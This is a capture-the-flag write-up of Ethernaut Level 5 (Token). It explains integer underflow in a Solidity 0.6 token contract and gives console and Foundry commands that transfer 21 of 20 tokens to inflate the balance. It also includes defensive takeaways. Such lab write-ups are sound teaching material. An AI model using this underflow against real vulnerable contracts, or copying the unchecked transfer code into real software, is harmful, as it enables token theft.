Ethernaut Level 5 Token [Foundry-Hardhat]

Ethernaut Level 5 Token [Foundry-Hardhat]

The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

This level demonstrates the concept of overflow and underflow.

Objectives

  • You are funded with 20 tokens initially to get started. You need to grow your contract’s 20 tokens to even more tokens.

Integer Overflow and Underflows

When an arithmetic operation surpasses the maximum or minimum size of a type, an overflow or underflow occurs. For instance, if a number is saved as an uint8 type, it is stored as an unsigned 8-bit number with a range of 0 to 255(2^8-1). If you increment 255 by 1, it will be 0, and if you decrement 0 by 1, it will become 255.

In computer programming, an integer overflow happens when an arithmetic operation tries to produce a numeric value that is either bigger than the maximum or lower than the minimum value that can be represented with a certain amount of bits. This might become troublesome if you store the token balance in a variable and decrement and increment it without checking.

What happens at the bit level is as follows,


Analysis

To complete this level, we have to underflow the token balance.

In older versions of Solidity, there was no protection for overflow and underflow. Developers had to implement their checks or use libraries like SafeMath. Later, Solidity version 0.8+ implemented overflow or underflow natively. The transaction is reverted if an overflow or underflow is detected.

Take a look at the transfer function,

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

The contract uses Solidity version ^0.6.0. Hence, it is vulnerable to overflow and underflow. The function sends _value number of tokens from the account of msg.sender to _to address. The statement require(balances[msg.sender] - _value >= 0) ensures that the balance does not become negative. The next two lines of code transfer the tokens. We have to exploit the following lines of code,

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

The function must be passed _value so that balances[msg.sender] - value underflows and returns a large number. If we pass 21, the resulting value will be the maximum number that uint256 can hold, which is equal to 115792089237316195423570985008687907853269984665640564039457584007913129639935. This value can be checked using type(uint256).max.

  1. balances[msg.sender] - _value >= 0 will return true

  2. balances[msg.sender] -= _value, will set the balance to type(uint256).max value.

  3. Even though we had 20 tokens, 21 tokens will be transferred to the _to address.


Exploit

Open the dev console in Chrome.

  • First, check your balance

      await contract.balanceOf(player)
    
  • Call transfer with _value = 21

      await transfer(0x4dD7ca0a5c590bc7E882AbfD873568e3128953f7, 21)
    

    This will underflow the balance.

  • Check new balance

      await contract.balanceOf(player)
    

    This is a very large number and thus not visible properly on the console. You can use the Remix IDE to check the balance or,

    If you have installed Foundry, run the following command

      cast --to-base $(cast storage --rpc-url [RPC_URL] [INSTANCE_ADDRESS] $(cast index address [PLAYER_ADDRESS] 0)) 10
    

We were given 20 tokens at the start. But we were able to transfer more than 20 tokens. In the process, our balance also increased.

Submit the instance.

Level passed!!!😄


Key Takeaways

  • Always use the latest Solidity compiler

  • If you are using an old compiler (below 0.8), use Openzeppelin's SafeMath library.

  • Even in checked mode, do not assume you are protected from overflow bugs. In this mode, overflows will always revert. If it is not possible to avoid the overflow, this can lead to a smart contract being stuck in a certain state.

  • If you are sure the expression won't overflow or underflow, make use of the unchecked block. This will save your end users some gas.

The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

Solution using Foundry:-

Solution using Hardhat:-

More Levels

Did you find this article valuable?

Support Web3 Vanguard by becoming a sponsor. Any amount is appreciated!